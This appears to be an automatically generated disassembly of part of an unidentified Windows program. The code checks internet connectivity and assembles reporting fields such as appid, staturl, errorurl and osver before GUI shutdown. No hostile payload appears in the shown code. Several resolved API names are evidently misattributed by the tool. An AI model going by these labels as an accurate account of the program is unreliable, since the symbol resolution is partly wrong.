dec eax
not eax
and eax, esi
sar ecx, 1
xor eax, ecx
inc edx
add esi, eax
cmp edx, 0x100
jl 0x45b644
mov dword [0x530408], esi
push 0
lea eax, [esp + 0x64]
push eax
mov dword [esp + 0x68], 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x45b462
and dword [esp + 0x68], 0xfffffe00
mov edx, 0x530c18
lea ecx, [esp + 0x44]
mov dword [esp + 0x6c], 0
call fcn.00431ab0
mov ecx, dword [esp + 0x30]
and ecx, 0xffffff04
mov esi, eax
mov eax, dword [0x530ce4]
or ecx, 0x104
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], 0
test al, 1
jne 0x45b748
or eax, 1
push 0x4e04e0
mov dword [0x530ce4], eax
mov dword [0x530c68], 0x518430
call fcn.004b4d59
add esp, 4
cmp dword [esi + 0x14], 0x10
mov edx, dword [esi + 0x10]
jb 0x45b753
mov esi, dword [esi]
mov ecx, dword [0x52d374]
push edx
mov eax, dword [ecx]
push esi
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
push ecx
push str.appname
lea ecx, [esp + 0x68]
mov dword [esp + 0x30], eax
call fcn.0044aa00
mov esi, eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], 0
call fcn.00449de0
movsx ecx, byte [esi + 8]
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
xor ecx, ebx
mov byte [esi + 8], bl
mov edx, dword [esi + 4]
and ecx, 0xff
xor ebx, ecx
mov ecx, dword [esi]
mov dword [esi], eax
mov eax, dword [esp + 0x1c]
mov dword [esi + 4], eax
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov ecx, dword [esi + 8]
mov edx, ecx
shl edx, 0x17
sar edx, 0x1f
mov eax, ecx
shl edx, 8
xor eax, ebx
xor edx, ebx
and eax, 0x100
and edx, 0x100
xor eax, ecx
xor ebx, edx
lea ecx, [esp + 0x18]
mov dword [esi + 8], eax
mov dword [esp + 0x20], ebx
call fcn.00449f60
lea ecx, [esp + 0x28]
call fcn.00449f60
cmp dword [esp + 0x58], 0x10
jb 0x45b809
push dword [esp + 0x44]
call fcn.004b458c
add esp, 4
mov edx, 0x530c10
lea ecx, [esp + 0x44]
call fcn.00431ab0
mov ecx, dword [esp + 0x30]
and ecx, 0xffffff04
mov esi, eax
mov eax, dword [0x530ce4]
or ecx, 0x104
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], 0
test al, 1
jne 0x45b85d
or eax, 1
push 0x4e04e0
mov dword [0x530ce4], eax
mov dword [0x530c68], 0x518430
call fcn.004b4d59
add esp, 4
cmp dword [esi + 0x14], 0x10
mov edx, dword [esi + 0x10]
jb 0x45b868
mov esi, dword [esi]
mov ecx, dword [0x52d374]
push edx
mov eax, dword [ecx]
push esi
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
push ecx
push str.appid
lea ecx, [esp + 0x68]
mov dword [esp + 0x30], eax
call fcn.0044aa00
mov esi, eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], 0
call fcn.00449de0
movsx ecx, byte [esi + 8]
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
xor ecx, ebx
mov byte [esi + 8], bl
mov edx, dword [esi + 4]
and ecx, 0xff
xor ebx, ecx
mov ecx, dword [esi]
mov dword [esi], eax
mov eax, dword [esp + 0x1c]
mov dword [esi + 4], eax
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov ecx, dword [esi + 8]
mov edx, ecx
shl edx, 0x17
sar edx, 0x1f
mov eax, ecx
shl edx, 8
xor eax, ebx
xor edx, ebx
and eax, 0x100
and edx, 0x100
xor eax, ecx
xor ebx, edx
lea ecx, [esp + 0x18]
mov dword [esi + 8], eax
mov dword [esp + 0x20], ebx
call fcn.00449f60
lea ecx, [esp + 0x28]
call fcn.00449f60
cmp dword [esp + 0x58], 0x10
jb 0x45b91e
push dword [esp + 0x44]
call fcn.004b458c
add esp, 4
mov edx, 0x530c14
lea ecx, [esp + 0x44]
call fcn.00431ab0
mov ecx, dword [esp + 0x30]
and ecx, 0xffffff04
mov esi, eax
mov eax, dword [0x530ce4]
or ecx, 0x104
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], 0
test al, 1
jne 0x45b972
or eax, 1
push 0x4e04e0
mov dword [0x530ce4], eax
mov dword [0x530c68], 0x518430
call fcn.004b4d59
add esp, 4
cmp dword [esi + 0x14], 0x10
mov edx, dword [esi + 0x10]
jb 0x45b97d
mov esi, dword [esi]
mov ecx, dword [0x52d374]
push edx
mov eax, dword [ecx]
push esi
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
push ecx
push reloc.kernel32.dll_FreeEnvironmentStringsA
lea ecx, [esp + 0x68]
mov dword [esp + 0x30], eax
call fcn.0044aa00
mov esi, eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], 0
call fcn.00449de0
movsx ecx, byte [esi + 8]
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
xor ecx, ebx
mov byte [esi + 8], bl
mov edx, dword [esi + 4]
and ecx, 0xff
xor ebx, ecx
mov ecx, dword [esi]
mov dword [esi], eax
mov eax, dword [esp + 0x1c]
mov dword [esi + 4], eax
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov ecx, dword [esi + 8]
mov edx, ecx
shl edx, 0x17
sar edx, 0x1f
mov eax, ecx
shl edx, 8
xor eax, ebx
xor edx, ebx
and eax, 0x100
and edx, 0x100
xor eax, ecx
xor ebx, edx
lea ecx, [esp + 0x18]
mov dword [esi + 8], eax
mov dword [esp + 0x20], ebx
call fcn.00449f60
lea ecx, [esp + 0x28]
call fcn.00449f60
cmp dword [esp + 0x58], 0x10
jb 0x45ba33
push dword [esp + 0x44]
call fcn.004b458c
add esp, 4
mov edx, 0x530bfc
lea ecx, [esp + 0x44]
call fcn.00431ab0
mov ecx, dword [esp + 0x30]
and ecx, 0xffffff04
mov esi, eax
mov eax, dword [0x530ce4]
or ecx, 0x104
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], 0
test al, 1
jne 0x45ba87
or eax, 1
push 0x4e04e0
mov dword [0x530ce4], eax
mov dword [0x530c68], 0x518430
call fcn.004b4d59
add esp, 4
cmp dword [esi + 0x14], 0x10
mov edx, dword [esi + 0x10]
jb 0x45ba92
mov esi, dword [esi]
mov ecx, dword [0x52d374]
push edx
mov eax, dword [ecx]
push esi
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
push ecx
push str.errorurl
lea ecx, [esp + 0x68]
mov dword [esp + 0x30], eax
call fcn.0044aa00
mov esi, eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], 0
call fcn.00449de0
movsx ecx, byte [esi + 8]
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
xor ecx, ebx
mov byte [esi + 8], bl
mov edx, dword [esi + 4]
and ecx, 0xff
xor ebx, ecx
mov ecx, dword [esi]
mov dword [esi], eax
mov eax, dword [esp + 0x1c]
mov dword [esi + 4], eax
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov ecx, dword [esi + 8]
mov edx, ecx
shl edx, 0x17
sar edx, 0x1f
mov eax, ecx
shl edx, 8
xor eax, ebx
xor edx, ebx
and eax, 0x100
and edx, 0x100
xor eax, ecx
xor ebx, edx
lea ecx, [esp + 0x18]
mov dword [esi + 8], eax
mov dword [esp + 0x20], ebx
call fcn.00449f60
lea ecx, [esp + 0x28]
call fcn.00449f60
cmp dword [esp + 0x58], 0x10
jb 0x45bb48
push dword [esp + 0x44]
call fcn.004b458c
add esp, 4
mov edx, 0x530bf8
lea ecx, [esp + 0x44]
call fcn.00431ab0
mov ecx, dword [esp + 0x30]
and ecx, 0xffffff04
mov esi, eax
mov eax, dword [0x530ce4]
or ecx, 0x104
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], 0
test al, 1
jne 0x45bb9c
or eax, 1
push 0x4e04e0
mov dword [0x530ce4], eax
mov dword [0x530c68], 0x518430
call fcn.004b4d59
add esp, 4
cmp dword [esi + 0x14], 0x10
mov edx, dword [esi + 0x10]
jb 0x45bba7
mov esi, dword [esi]
mov ecx, dword [0x52d374]
push edx
mov eax, dword [ecx]
push esi
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
push ecx
push str.staturl
lea ecx, [esp + 0x68]
mov dword [esp + 0x30], eax
call fcn.0044aa00
mov esi, eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], 0
call fcn.00449de0
movsx ecx, byte [esi + 8]
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
xor ecx, ebx
mov byte [esi + 8], bl
mov edx, dword [esi + 4]
and ecx, 0xff
xor ebx, ecx
mov ecx, dword [esi]
mov dword [esi], eax
mov eax, dword [esp + 0x1c]
mov dword [esi + 4], eax
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov ecx, dword [esi + 8]
mov edx, ecx
shl edx, 0x17
sar edx, 0x1f
mov eax, ecx
shl edx, 8
xor eax, ebx
xor edx, ebx
and eax, 0x100
and edx, 0x100
xor eax, ecx
xor ebx, edx
lea ecx, [esp + 0x18]
mov dword [esi + 8], eax
mov dword [esp + 0x20], ebx
call fcn.00449f60
lea ecx, [esp + 0x28]
call fcn.00449f60
cmp dword [esp + 0x58], 0x10
jb 0x45bc5d
push dword [esp + 0x44]
call fcn.004b458c
add esp, 4
mov edx, 0x530c00
lea ecx, [esp + 0x44]
call fcn.00431ab0
mov ecx, dword [esp + 0x30]
and ecx, 0xffffff04
mov esi, eax
mov eax, dword [0x530ce4]
or ecx, 0x104
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], 0
test al, 1
jne 0x45bcb1
or eax, 1
push 0x4e04e0
mov dword [0x530ce4], eax
mov dword [0x530c68], 0x518430
call fcn.004b4d59
add esp, 4
cmp dword [esi + 0x14], 0x10
mov edx, dword [esi + 0x10]
jb 0x45bcbc
mov esi, dword [esi]
mov ecx, dword [0x52d374]
push edx
mov eax, dword [ecx]
push esi
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
push ecx
push reloc.kernel32.dll_GetProcessAffinityMask
lea ecx, [esp + 0x68]
mov dword [esp + 0x30], eax
call fcn.0044aa00
mov esi, eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], 0
call fcn.00449de0
movsx ecx, byte [esi + 8]
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
xor ecx, ebx
mov byte [esi + 8], bl
mov edx, dword [esi + 4]
and ecx, 0xff
xor ebx, ecx
mov ecx, dword [esi]
mov dword [esi], eax
mov eax, dword [esp + 0x1c]
mov dword [esi + 4], eax
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov ecx, dword [esi + 8]
mov edx, ecx
shl edx, 0x17
sar edx, 0x1f
mov eax, ecx
shl edx, 8
xor eax, ebx
xor edx, ebx
and eax, 0x100
and edx, 0x100
xor eax, ecx
xor ebx, edx
lea ecx, [esp + 0x18]
mov dword [esi + 8], eax
mov dword [esp + 0x20], ebx
call fcn.00449f60
lea ecx, [esp + 0x28]
call fcn.00449f60
cmp dword [esp + 0x58], 0x10
jb 0x45bd72
push dword [esp + 0x44]
call fcn.004b458c
add esp, 4
mov edx, 0x530c08
lea ecx, [esp + 0x44]
call fcn.00431ab0
mov ecx, dword [esp + 0x30]
and ecx, 0xffffff04
mov esi, eax
mov eax, dword [0x530ce4]
or ecx, 0x104
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], 0
test al, 1
jne 0x45bdc6
or eax, 1
push 0x4e04e0
mov dword [0x530ce4], eax
mov dword [0x530c68], 0x518430
call fcn.004b4d59
add esp, 4
cmp dword [esi + 0x14], 0x10
mov edx, dword [esi + 0x10]
jb 0x45bdd1
mov esi, dword [esi]
mov ecx, dword [0x52d374]
push edx
mov eax, dword [ecx]
push esi
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
push ecx
push str.iver
lea ecx, [esp + 0x68]
mov dword [esp + 0x30], eax
call fcn.0044aa00
mov esi, eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], 0
call fcn.00449de0
movsx ecx, byte [esi + 8]
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
xor ecx, ebx
mov byte [esi + 8], bl
mov edx, dword [esi + 4]
and ecx, 0xff
xor ebx, ecx
mov ecx, dword [esi]
mov dword [esi], eax
mov eax, dword [esp + 0x1c]
mov dword [esi + 4], eax
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov ecx, dword [esi + 8]
mov edx, ecx
shl edx, 0x17
sar edx, 0x1f
mov eax, ecx
shl edx, 8
xor eax, ebx
xor edx, ebx
and eax, 0x100
and edx, 0x100
xor eax, ecx
xor ebx, edx
lea ecx, [esp + 0x18]
mov dword [esi + 8], eax
mov dword [esp + 0x20], ebx
call fcn.00449f60
lea ecx, [esp + 0x28]
call fcn.00449f60
cmp dword [esp + 0x58], 0x10
jb 0x45be87
push dword [esp + 0x44]
call fcn.004b458c
add esp, 4
mov edx, 0x530c04
lea ecx, [esp + 0x44]
call fcn.00431ab0
mov ecx, dword [esp + 0x30]
and ecx, 0xffffff04
mov esi, eax
mov eax, dword [0x530ce4]
or ecx, 0x104
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], 0
test al, 1
jne 0x45bedb
or eax, 1
push 0x4e04e0
mov dword [0x530ce4], eax
mov dword [0x530c68], 0x518430
call fcn.004b4d59
add esp, 4
cmp dword [esi + 0x14], 0x10
mov edx, dword [esi + 0x10]
jb 0x45bee6
mov esi, dword [esi]
mov ecx, dword [0x52d374]
push edx
mov eax, dword [ecx]
push esi
call dword [eax + reloc.kernel32.dll_AssignProcessToJobObject]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x28]
push eax
push ecx
push str.verifier
lea ecx, [esp + 0x6c]
call fcn.0044aa00
mov ecx, eax
call fcn.0044a020
lea ecx, [esp + 0x28]
call fcn.00449f60
cmp dword [esp + 0x58], 0x10
jb 0x45bf2e
push dword [esp + 0x44]
call fcn.004b458c
add esp, 4
mov edx, 0x530c0c
lea ecx, [esp + 0x44]
call fcn.00431ab0
push eax
lea ecx, [esp + 0x2c]
call fcn.00449d70
lea eax, [esp + 0x28]
push eax
push ecx
push str.osver
lea ecx, [esp + 0x6c]
call fcn.0044aa00
mov ecx, eax
call fcn.0044a020
lea ecx, [esp + 0x28]
call fcn.00449f60
cmp dword [esp + 0x58], 0x10
jb 0x45bf7d
push dword [esp + 0x44]
call fcn.004b458c
add esp, 4
mov edx, 0x530c1c
lea ecx, [esp + 0x44]
call fcn.00431ab0
push eax
lea ecx, [esp + 0x2c]
call fcn.00449d70
lea eax, [esp + 0x28]
push eax
push ecx
push reloc.kernel32.dll_IsBadReadPtr
lea ecx, [esp + 0x6c]
call fcn.0044aa00
mov ecx, eax
call fcn.0044a020
lea ecx, [esp + 0x28]
call fcn.00449f60
cmp dword [esp + 0x58], 0x10
jb 0x45bfcc
push dword [esp + 0x44]
call fcn.004b458c
add esp, 4
mov eax, dword [esp + 0x30]
and eax, 0xffffff01
or eax, 1
mov dword [esp + 0x30], eax
mov eax, dword [0x53055c]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x28]
push eax
push ecx
push str.isStratup
lea ecx, [esp + 0x6c]
mov dword [esp + 0x40], 0
call fcn.0044aa00
mov ecx, eax
call fcn.0044a020
lea ecx, [esp + 0x28]
call fcn.00449f60
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x19c]
call fcn.0044a020
push ecx
mov dword [0x53040c], 0x45c6c0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
lea ecx, [esp + 0xc8]
call fcn.0043b930
test eax, eax
jne 0x45c052
lea ecx, [esp + 0x60]
call fcn.00449f60
jmp 0x45b462
push 0x530bf4
lea ecx, [esp + 0xc4]
call fcn.0043b310
lea ecx, [esp + 0x74]
call fcn.0045cbe0
mov ebx, eax
call fcn.0045ca90
push dword [esp + 0xac]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
call fcn.0045c970
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [esp + 0x60]
call fcn.00449f60
lea ecx, [esp + 0xc0]
call fcn.00436eb0
mov edx, dword [esp + 0x40]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45c0bd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.kernel32.dll_IsBadStringPtrA]
mov eax, dword [esp + 0x84]
test eax, eax
je 0x45c0dc
push eax
call fcn.004b4d98
add esp, 4
mov dword [esp + 0x84], 0
mov eax, dword [esp + 0x78]
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
test eax, eax
je 0x45c103
push eax
call fcn.004b4d98
add esp, 4
test ebx, ebx
je 0x45b535
jmp 0x45b4d4